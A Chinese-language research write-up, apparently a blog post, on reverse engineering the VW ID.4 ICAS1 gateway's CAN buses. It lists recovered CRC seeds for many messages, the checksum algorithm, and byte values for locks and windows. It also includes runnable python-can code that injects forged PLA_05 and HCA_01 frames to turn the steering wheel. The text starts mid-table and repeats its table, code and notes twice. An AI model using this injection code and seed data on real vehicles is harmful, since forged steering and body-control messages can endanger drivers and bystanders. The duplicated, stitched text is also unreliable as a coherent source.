0xc3,0x79,0xbf,0xdb,0xe9,0x11,0x46,0x86,0x69,0xb6,0x9b,0x29,0x15,0x9c,0x45,0x0d TA_01 0x26B 0xce,0xcc,0xbd,0x69,0xa1,0x3c,0x18,0x76,0x0f,0x04,0xf2,0x3a,0x93,0x24,0x19,0x51 TSG_FT_02 0x3E5 0xc4,0x6a,0x69,0x30,0xcf,0x61,0x58,0x51,0x1b,0x86,0x99,0xd3,0xf6,0x1d,0x9a,0x37 VMM_01 0x105 0xde,0x0e,0xa7,0x1d,0xc3,0x83,0xbd,0x82,0x8c,0xa2,0x0c,0x7b,0x4d,0x3c,0x58,0x79 VMM_02 0x139 0xed,0x03,0x1c,0x13,0xc6,0x23,0x78,0x7a,0x8b,0x40,0x14,0x51,0xbf,0x68,0x32,0xba CRC 算法 MEB_Kennungsfolge = { # LWI_01 Steering Angle 0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86], # LH_EPS_03 Electric Power Steering 0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5], # HCA_01 Heading Control Assist 0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA], # GRA_ACC_01 Steering wheel controls for ACC 0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B] } def gen_crc_lookup_table_8(poly): crc_lut = [0] * 256 for i in range(256): crc = i for j in range(8): if crc & 0x80: crc = (crc << 1) ^ poly else: crc <<= 1 crc_lut[i] = crc & 0xFF return crc_lut def volkswagen_mqb_checksum(address, data): global crc8_lut_8h2f crc = 0xFF # CRC8 8H2F/AUTOSAR for i in range(1, len(data)): crc = crc ^ data[i] # print(hex(crc), hex(i)) crc = crc8_lut_8h2f[crc] counter = data[1] & 0x0F if address in MEB_Kennungsfolge: crc ^= MEB_Kennungsfolge[address][counter] else: # 无需校验 crc ^= [0x00] * 16 # 默认情况下,返回全 0 crc = crc8_lut_8h2f[crc] # 标准 CRC8 8H2F/AUTOSAR 最后一个 XOR return crc ^ 0xFF can_id = 0x126 data = bytearray(bytes(8)) crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f) crc = volkswagen_mqb_checksum(can_id, data) data[0] = crc CAN 信号- Convenience CAN有以下信号通信,可用于状态读取,车身功能基本上可以通过此路CAN进行控制。包括空调,前后大灯,鸣笛,雨刮,车窗,车锁,车辆状态等信息。
DBC已经分析出来了,暂时不公开。
0x184 1. 锁车 1. 第二字节 后视镜开 0x20 开 2. 第三字节 后视镜关 0x40 关 2. 车窗 1. 第六字节 车窗 04 左前下,02 左前上,40 左后下,08右前上,10右前下 2. 第七字节,01右后下 0x185 1. 车窗控制,10 20 up 40 80 down 1. 第一字节 前排 2. 第二字节 后排 0x598 1. 天窗控制 1. 第三字节 0x20 无 0x21 tap 0x22 滑动 0x25 长按 2. 第七字节:04 关一下,08 一直关,0C 开一下,10 一直开, 14,1c其他 控制转向要求档位在D/B或者R档。以下五个信号可以用于控制方向盘。
- LWI_01 Lenkwinkelsensor
- LH_EPS_03 Lenkhilfe Electric Power Steering
- HCA_01 Heading Control Assist
- GRA_ACC_01 Geschwindigkeitsregelanlage & Adaptive Cruise Control
- PLA_05 Park Lane Assist
提示
- 组合使用0x86, 0x9f, 0x126, 0x12b, 0x302信号,在CAN-FAS发送,可以实现泊车方向盘转向功能。
- 组合使用0x86, 0x9f, 0x302信号,在Gear-Running CAN发送,可以实现方向盘转向。
- 其中0x9f(LH_EPS_03)和0x302(PLA_05)两个信号都可以直接控制方向盘。
- 0x302没有CRC校验,因此控制方向盘比0x9f容易
控制方向盘Demo,仅让方向盘动起来,真正要实现远控,需要有力学的知识,还要设计控制算法。
import os import can import time can0 = can.interface.Bus(channel = 'can0', bustype = 'socketcan', fd=True, bitrate=500000) # msg = can.Message(is_extended_id=False, arbitration_id=0x123, data=[0, 1, 2, 3, 4, 5, 6, 7]) # can0.send(msg) MEB_Kennungsfolge = { # LWI_01 Steering Angle 0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86], # LH_EPS_03 Electric Power Steering 0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5], # HCA_01 Heading Control Assist 0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA], # GRA_ACC_01 Steering wheel controls for ACC 0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B] } def volkswagen_mqb_checksum(address, data): global crc8_lut_8h2f crc = 0xFF # CRC8 8H2F/AUTOSAR for i in range(1, len(data)): crc = crc ^ data[i] # print(hex(crc), hex(i)) crc = crc8_lut_8h2f[crc] counter = data[1] & 0x0F if address in MEB_Kennungsfolge: crc ^= MEB_Kennungsfolge[address][counter] else: print("Attempt to CRC check undefined Volkswagen message 0x%02X" % address) crc ^= [0x00] * 16 # 默认情况下,返回全 0 crc = crc8_lut_8h2f[crc] # 标准 CRC8 8H2F/AUTOSAR 最后一个 XOR return crc ^ 0xFF def gen_crc_lookup_table_8(poly): crc_lut = [0] * 256 for i in range(256): crc = i for j in range(8): if crc & 0x80: crc = (crc << 1) ^ poly else: crc <<= 1 crc_lut[i] = crc & 0xFF return crc_lut def meb_can_send(can_id, interval, data): global hca_01_counter data[1] = data[1] | hca_01_counter crc = volkswagen_mqb_checksum(can_id, data) data[0] = crc hca_01_counter += 1 for j in data: print(hex(j), end=", ") time.sleep(interval) msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True) can0.send(msg) def can_send(can_id, interval, data): time.sleep(interval) msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True) can0.send(msg) crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f) def set_value(data, value, start_pos, value_length): end_pos = start_pos + value_length for bit_index in range(start_pos, end_pos): byte_index = bit_index // 8 bit_offset = bit_index % 8 bit_value = (value >> (bit_index - start_pos)) & 1 # print("\n") # print("index", bit_index, start_pos, end_pos, "byte_index:", byte_index, "bit_offset:", bit_offset, "v:", bit_value) if bit_value: data[byte_index] |= 1 << bit_offset else: data[byte_index] &= ~(1 << bit_offset) # for i in data: # print(bin(i), end=",") return data def set_bit(b, bit, bit_index): if bit_index < 0 or bit_index > 7: raise ValueError("bit_index must be between 0 and 7") mask = 1 << bit_index flipped_byte = b ^ mask return flipped_byte def create_steering_control(apply_steer, lkas_enabled): data = bytearray(bytes(8)) if lkas_enabled: # HCA_01_Sendestatus data = set_value(data, 5, 30, 1) # HCA_01_Status_HCA data = set_value(data, 1, 32, 4) else: # HCA_01_Sendestatus data = set_value(data, 3, 30, 1) # HCA_01_Status_HCA data = set_value(data, 0, 32, 4) # HCA_01_LM_Offset print("create_steering_control", apply_steer) data = set_value(data, abs(apply_steer), 16, 9) # HCA_01_LM_OffSign v = 1 if apply_steer < 0 else 0 data = set_value(data, v, 31, 1) # HCA_01_Vib_Freq data = set_value(data, 3, 12, 4) # HCA_01_Vib_Amp data = set_value(data, 10, 36, 4) return data def create_pla_control(sendestatus, positive, degree): data = bytearray(bytes(24)) data[1] = 0x40 # PLA_QFK_Spuerb data[2] = 0xFA # PLA_QFK_KruemmSoll data = set_value(data, degree, 32, 15) # PLA_QFK_KruemmSoll_VZ if positive: data = set_value(data, 1, 47, 1) else: data = set_value(data, 0, 47, 1) # PLA_05_Sendestatus if sendestatus: data = set_value(data, 1, 74, 1) else: data = set_value(data, 0, 74, 1) return data hca_01_counter = 0 degree = 0 for i in range(20): # data = create_steering_control(10 * i, 1) # meb_can_send(0x126, 0.1, data) degree += 0x10 data = create_pla_control(1, 1, degree) can_send(0x302, 0.1, data) 注意事项- 离开车辆之前,确保CAN总线处于接通状态,否则会大量耗电。
- 不要对Powertrain 和Running Gear CAN 进行 Fuzzing,可能直接会导致人身伤害,另外,也可能导致ECU异常,产生潜在隐患。比如转向灯失效,后视镜无法打开。
VW ID.4 ICAS1 车控分析
2021年在360搭了一套ID.4台架环境,本来快要出成果了(拿到了ODIS内网权限,还有ICAS3的root),被安排出差去搭建展示车,后续工作计划被打乱。这期间不管是工作还是生活都遇到了许多糟心事,便停止了研究。
算是一个怨念项目吧,今年5月我在机缘巧合下又研究了ID.4的ICAS1的车控逻辑,还有一个怨念项目是CAN-Pick NG,写了一半又搁置了,不知道2025可不可以完成。
ID.4 是大众MEB平台,EE架构总共有两个域控制器,ICAS1, ICAS3。其中ICAS1(J533)与车身控制有关。 下图是J533的位置,位于序号13。将线控模块装载到此处,可以实现车身监测和控制。
车内ECU拓扑Classic CAN: 500k
CAN-FD:仲裁域500k, 数据域2M。若要分析CAN-FD,ZLG设备最合适。
通过分析 ELSA电路图 和 大众内部培训资料,发现总线命名混乱,必须重新整理才能得到正确的CAN拓扑图。
J533总共有9路CAN,4路LIN(暂不需要),关键ECU如下。
- Running-Gear CAN (CAN-FD)
- J104 - ABS
- J500 - EPS,转向助力控制单元
- NX6 - 制动控制器 (Brake Booster)
- Powertrain CAN (CAN-FD)
- J623 - 电机控制模块 Engine/Motor Control Module
- J841/J944 - 电驱单元
- J234 - 气囊 (不能在这里Fuzzing,危险)
- Driver Assistance CAN,CAN-FAS (CAN-FD)
- J428 - 车距调节控制单元
- J446 - 泊车雷达控制单元
- J769/J770 - 行驶换道辅助系统控制单元
- J928 - 全景摄像头控制单元
- Convenience CAN (Classic)
- J527 - 电控换档模块 (Steering Column Electronics Control Module)
- J605 - 行李箱盖控制单元
- J764 - 转向柱锁
- …其他车身控制
- CAN-EV (CAN-FD)
- J979 - 加热与空调控制模块 (Heater and Air Conditioning Control Module)
T40a 连接器和表格对应如下。
总线安全策略 网关隔离多功能方向盘控制信号,由Convenience CAN接收,但是底盘CAN的ECU也能收到。底盘CAN发出的多功能方向盘控制信号,不会被J533转发到目标ECU。
CRC 校验分析CAN总线变化,可以看到大部份报文的变化规律,第一字节随机,第二字节有规律递增。第一字节是CRC,第二字节是计数器。
CRC 初始值参考OpenDBC github /opendbc/can/common.cc volkswagen_mqb_checksum
可以获取VM MQB平台的 Checksum 初始值,但是ID.4有很多新的CRC初始值,我通过逆向分析并记录在下面了。
大部份控制信号有CRC和计数器,ECU不会校验某些不重要功能的CRC,比如天窗,车窗,鸣笛。但是会校验转向助力,行李箱盖开启,雨刮等影响驾驶的功能。
Signal CAN ID CRC Seed AAA_01 0x12DD5502 0x62,0x14,0x7c,0xa1,0x49,0x95,0x43,0x04,0x78,0x46,0x74,0x19,0x39,0x17,0x9f,0x1c ACC_18 0x14D 0x1a,0x65,0x81,0x96,0xc0,0xdf,0x11,0x92,0xd3,0x61,0xc6,0x95,0x8c,0x29,0x21,0xb5 Airbag_01 0x040 0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40 Airbag_02 0x520 0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44,0x44 APS_Master 0x380 0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13,0x13 AWV_03 0x0DB 0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97 BEM_06 0x48B 0x54,0xaf,0x8a,0xfb,0x0d,0x87,0x6a,0x0f,0x47,0x78,0x31,0x4f,0x35,0x28,0x82,0x6d Blinkmodi_02 0x366 0xa9,0xbd,0xfb,0x3c,0x95,0x0f,0x75,0x3a,0x4f,0x19,0x59,0x6d,0xb2,0xe9,0xd1,0x97 EA_01 0x1A4 0x69,0xbb,0x54,0xe6,0x4e,0x46,0x8d,0x7b,0xea,0x87,0xe9,0xb3,0x63,0xce,0xf8,0xbf EA_02 0x1F0 0x2f,0x3c,0x22,0x60,0x18,0xeb,0x63,0x76,0xc5,0x91,0x0f,0x27,0x34,0x04,0x7f,0x02 ELV_01 0x656 0xab,0x2f,0xd3,0x39,0x6f,0x37,0xfa,0x59,0xa4,0x70,0xce,0x11,0x54,0x82,0x62,0x56 EM1_01 0x0C0 0x2f,0x44,0x72,0xd3,0x07,0xf2,0x39,0x09,0x8d,0x6f,0x57,0x20,0x37,0xf9,0x9b,0xfa EML_02 0x1A555541 0x3e,0xb4,0x25,0xc1,0x31,0x1f,0xf1,0xd7,0xb1,0xbe,0xcc,0xe0,0x0f,0x46,0x51,0xb2 EML_06 0x20A 0x9d,0xe8,0x36,0xa1,0xca,0x3b,0x1d,0x33,0xe0,0xd5,0xbb,0x5f,0xae,0x3c,0x31,0x9f ESC_50 0x102 0xd7,0x12,0x85,0x7e,0x0b,0x34,0xfa,0x16,0x7a,0x25,0x2d,0x8f,0x04,0x8e,0x5d,0x35 ESC_51 0x0FC 0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd ESP_10 0x116 0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac,0xac ESP_20 0x65D 0xac,0xb3,0xab,0xeb,0x7a,0xe1,0x3b,0xf7,0x73,0xba,0x7c,0x9e,0x06,0x5f,0x02,0xd9 ESP_21 0x0FD 0xb4,0xef,0xf8,0x49,0x1e,0xe5,0xc2,0xc0,0x97,0x19,0x3c,0xc9,0xf1,0x98,0xd6,0x61 ESP_24 0x31B 0x67,0x8a,0xae,0x22,0x4d,0xd0,0x51,0x80,0x5c,0xb9,0xce,0x1e,0xdf,0x02,0x2d,0xd4 Getriebe_11 0x0AD 0x3f,0x69,0x39,0xdc,0x94,0xf9,0x14,0x64,0xd8,0x6a,0x34,0xce,0xa2,0x55,0xb5,0x2c GRA_ACC_01 0x12B 0x6a,0x38,0xb4,0x27,0x22,0xef,0xe1,0xbb,0xf8,0x80,0x84,0x49,0xc7,0x9e,0x1e,0x2b HCA_01 0x126 0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda,0xda HVL_01 0x12DD553D 0x1d,0x82,0x7b,0x79,0xa5,0xee,0x3a,0xb9,0xb7,0xf9,0xe4,0x67,0x7f,0x97,0x11,0xad IPA_01 0x138 0x77,0x4e,0x14,0x87,0xf2,0xf8,0xb2,0x61,0xf6,0xa4,0x52,0x94,0xd4,0x81,0x2a,0xb1 IPA_02 0x16A9545F 0xc6,0x7f,0x85,0xb6,0xe6,0xae,0xf8,0x26,0xb0,0x8c,0x19,0x10,0x5b,0x33,0x64,0x6c Klemmen_Status_01 0x3C0 0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3 LH_EPS_02 0x11D 0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c,0x1c LH_EPS_03 0x09F 0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5,0xf5 Licht_Anf_01 0x3D5 0xc5,0x39,0xc7,0xf9,0x92,0xd8,0x24,0xce,0xf1,0xb5,0x7a,0xc4,0xbc,0x60,0xe3,0xd1 LWI_01 0x086 0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86,0x86 Motor_14 0x3BE 0x1f,0x28,0xc6,0x85,0xe6,0xf8,0xb0,0x19,0x5b,0x64,0x35,0x21,0xe4,0xf7,0x9c,0x24 Motor_51 0x10B 0x77,0x5c,0xa0,0x89,0x4b,0x7c,0xbb,0xd6,0x1f,0x6c,0x4f,0xf6,0x20,0x2b,0x43,0xdd Motor_54 0x14C 0x16,0x35,0x59,0x15,0x9a,0x2a,0x97,0xb8,0x0e,0x4e,0x30,0xcc,0xb3,0x07,0x01,0xad Motor_Code_01 0x641 0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47,0x47 Parken_01 0x206 0x09,0xfa,0xca,0x8e,0x62,0xd5,0xd1,0xf0,0x31,0xa0,0xaf,0xda,0x4d,0x1a,0x0a,0x97 PLA_04 0x407 0xef,0x60,0x04,0xa8,0x0c,0x1c,0xda,0x07,0x36,0xd7,0x28,0x92,0xa9,0x88,0x2c,0x4a QFK_01 0x13D 0x20,0xca,0x68,0xd5,0x1b,0x31,0xe2,0xda,0x08,0x0a,0xd4,0xde,0x9c,0xe4,0x35,0x5b RCTA_01 0x2B7 0x5e,0xc7,0x04,0x11,0x4d,0x27,0x0d,0x31,0x91,0xb8,0x62,0x76,0x64,0x09,0xeb,0xec SAL_01 0x12DD54C9 0xde,0xa9,0x83,0x0b,0x0c,0x64,0x79,0x44,0x0f,0xf6,0xc6,0xc7,0x05,0x45,0xb7,0x59 SAM_01 0x205 0x19,0x36,0xd4,0x1e,0x80,0x22,0xf4,0xb8,0xad,0x41,0x0b,0x3f,0x87,0x42,0x25,0x40 SMLS_01 0x3D4 0xc3,0x79,0xbf,0xdb,0xe9,0x11,0x46,0x86,0x69,0xb6,0x9b,0x29,0x15,0x9c,0x45,0x0d TA_01 0x26B 0xce,0xcc,0xbd,0x69,0xa1,0x3c,0x18,0x76,0x0f,0x04,0xf2,0x3a,0x93,0x24,0x19,0x51 TSG_FT_02 0x3E5 0xc4,0x6a,0x69,0x30,0xcf,0x61,0x58,0x51,0x1b,0x86,0x99,0xd3,0xf6,0x1d,0x9a,0x37 VMM_01 0x105 0xde,0x0e,0xa7,0x1d,0xc3,0x83,0xbd,0x82,0x8c,0xa2,0x0c,0x7b,0x4d,0x3c,0x58,0x79 VMM_02 0x139 0xed,0x03,0x1c,0x13,0xc6,0x23,0x78,0x7a,0x8b,0x40,0x14,0x51,0xbf,0x68,0x32,0xba CRC 算法 MEB_Kennungsfolge = { # LWI_01 Steering Angle 0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86], # LH_EPS_03 Electric Power Steering 0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5], # HCA_01 Heading Control Assist 0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA], # GRA_ACC_01 Steering wheel controls for ACC 0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B] } def gen_crc_lookup_table_8(poly): crc_lut = [0] * 256 for i in range(256): crc = i for j in range(8): if crc & 0x80: crc = (crc << 1) ^ poly else: crc <<= 1 crc_lut[i] = crc & 0xFF return crc_lut def volkswagen_mqb_checksum(address, data): global crc8_lut_8h2f crc = 0xFF # CRC8 8H2F/AUTOSAR for i in range(1, len(data)): crc = crc ^ data[i] # print(hex(crc), hex(i)) crc = crc8_lut_8h2f[crc] counter = data[1] & 0x0F if address in MEB_Kennungsfolge: crc ^= MEB_Kennungsfolge[address][counter] else: # 无需校验 crc ^= [0x00] * 16 # 默认情况下,返回全 0 crc = crc8_lut_8h2f[crc] # 标准 CRC8 8H2F/AUTOSAR 最后一个 XOR return crc ^ 0xFF can_id = 0x126 data = bytearray(bytes(8)) crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f) crc = volkswagen_mqb_checksum(can_id, data) data[0] = crc CAN 信号- Convenience CAN有以下信号通信,可用于状态读取,车身功能基本上可以通过此路CAN进行控制。包括空调,前后大灯,鸣笛,雨刮,车窗,车锁,车辆状态等信息。
DBC已经分析出来了,暂时不公开。
0x184 1. 锁车 1. 第二字节 后视镜开 0x20 开 2. 第三字节 后视镜关 0x40 关 2. 车窗 1. 第六字节 车窗 04 左前下,02 左前上,40 左后下,08右前上,10右前下 2. 第七字节,01右后下 0x185 1. 车窗控制,10 20 up 40 80 down 1. 第一字节 前排 2. 第二字节 后排 0x598 1. 天窗控制 1. 第三字节 0x20 无 0x21 tap 0x22 滑动 0x25 长按 2. 第七字节:04 关一下,08 一直关,0C 开一下,10 一直开, 14,1c其他 控制转向要求档位在D/B或者R档。以下五个信号可以用于控制方向盘。
- LWI_01 Lenkwinkelsensor
- LH_EPS_03 Lenkhilfe Electric Power Steering
- HCA_01 Heading Control Assist
- GRA_ACC_01 Geschwindigkeitsregelanlage & Adaptive Cruise Control
- PLA_05 Park Lane Assist
提示
- 组合使用0x86, 0x9f, 0x126, 0x12b, 0x302信号,在CAN-FAS发送,可以实现泊车方向盘转向功能。
- 组合使用0x86, 0x9f, 0x302信号,在Gear-Running CAN发送,可以实现方向盘转向。
- 其中0x9f(LH_EPS_03)和0x302(PLA_05)两个信号都可以直接控制方向盘。
- 0x302没有CRC校验,因此控制方向盘比0x9f容易
控制方向盘Demo,仅让方向盘动起来,真正要实现远控,需要有力学的知识,还要设计控制算法。
import os import can import time can0 = can.interface.Bus(channel = 'can0', bustype = 'socketcan', fd=True, bitrate=500000) # msg = can.Message(is_extended_id=False, arbitration_id=0x123, data=[0, 1, 2, 3, 4, 5, 6, 7]) # can0.send(msg) MEB_Kennungsfolge = { # LWI_01 Steering Angle 0x86: [0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86, 0x86], # LH_EPS_03 Electric Power Steering 0x9F: [0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5, 0xF5], # HCA_01 Heading Control Assist 0x126: [0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA, 0xDA], # GRA_ACC_01 Steering wheel controls for ACC 0x12B: [0x6A, 0x38, 0xB4, 0x27, 0x22, 0xEF, 0xE1, 0xBB, 0xF8, 0x80, 0x84, 0x49, 0xC7, 0x9E, 0x1E, 0x2B] } def volkswagen_mqb_checksum(address, data): global crc8_lut_8h2f crc = 0xFF # CRC8 8H2F/AUTOSAR for i in range(1, len(data)): crc = crc ^ data[i] # print(hex(crc), hex(i)) crc = crc8_lut_8h2f[crc] counter = data[1] & 0x0F if address in MEB_Kennungsfolge: crc ^= MEB_Kennungsfolge[address][counter] else: print("Attempt to CRC check undefined Volkswagen message 0x%02X" % address) crc ^= [0x00] * 16 # 默认情况下,返回全 0 crc = crc8_lut_8h2f[crc] # 标准 CRC8 8H2F/AUTOSAR 最后一个 XOR return crc ^ 0xFF def gen_crc_lookup_table_8(poly): crc_lut = [0] * 256 for i in range(256): crc = i for j in range(8): if crc & 0x80: crc = (crc << 1) ^ poly else: crc <<= 1 crc_lut[i] = crc & 0xFF return crc_lut def meb_can_send(can_id, interval, data): global hca_01_counter data[1] = data[1] | hca_01_counter crc = volkswagen_mqb_checksum(can_id, data) data[0] = crc hca_01_counter += 1 for j in data: print(hex(j), end=", ") time.sleep(interval) msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True) can0.send(msg) def can_send(can_id, interval, data): time.sleep(interval) msg = can.Message(is_extended_id=False, arbitration_id=can_id, data=data, is_fd=True) can0.send(msg) crc8_lut_8h2f = gen_crc_lookup_table_8(0x2f) def set_value(data, value, start_pos, value_length): end_pos = start_pos + value_length for bit_index in range(start_pos, end_pos): byte_index = bit_index // 8 bit_offset = bit_index % 8 bit_value = (value >> (bit_index - start_pos)) & 1 # print("\n") # print("index", bit_index, start_pos, end_pos, "byte_index:", byte_index, "bit_offset:", bit_offset, "v:", bit_value) if bit_value: data[byte_index] |= 1 << bit_offset else: data[byte_index] &= ~(1 << bit_offset) # for i in data: # print(bin(i), end=",") return data def set_bit(b, bit, bit_index): if bit_index < 0 or bit_index > 7: raise ValueError("bit_index must be between 0 and 7") mask = 1 << bit_index flipped_byte = b ^ mask return flipped_byte def create_steering_control(apply_steer, lkas_enabled): data = bytearray(bytes(8)) if lkas_enabled: # HCA_01_Sendestatus data = set_value(data, 5, 30, 1) # HCA_01_Status_HCA data = set_value(data, 1, 32, 4) else: # HCA_01_Sendestatus data = set_value(data, 3, 30, 1) # HCA_01_Status_HCA data = set_value(data, 0, 32, 4) # HCA_01_LM_Offset print("create_steering_control", apply_steer) data = set_value(data, abs(apply_steer), 16, 9) # HCA_01_LM_OffSign v = 1 if apply_steer < 0 else 0 data = set_value(data, v, 31, 1) # HCA_01_Vib_Freq data = set_value(data, 3, 12, 4) # HCA_01_Vib_Amp data = set_value(data, 10, 36, 4) return data def create_pla_control(sendestatus, positive, degree): data = bytearray(bytes(24)) data[1] = 0x40 # PLA_QFK_Spuerb data[2] = 0xFA # PLA_QFK_KruemmSoll data = set_value(data, degree, 32, 15) # PLA_QFK_KruemmSoll_VZ if positive: data = set_value(data, 1, 47, 1) else: data = set_value(data, 0, 47, 1) # PLA_05_Sendestatus if sendestatus: data = set_value(data, 1, 74, 1) else: data = set_value(data, 0, 74, 1) return data hca_01_counter = 0 degree = 0 for i in range(20): # data = create_steering_control(10 * i, 1) # meb_can_send(0x126, 0.1, data) degree += 0x10 data = create_pla_control(1, 1, degree) can_send(0x302, 0.1, data) 注意事项- 离开车辆之前,确保CAN总线处于接通状态,否则会大量耗电。
- 不要对Powertrain 和Running Gear CAN 进行 Fuzzing,可能直接会导致人身伤害,另外,也可能导致ECU异常,产生潜在隐患。比如转向灯失效,后视镜无法打开。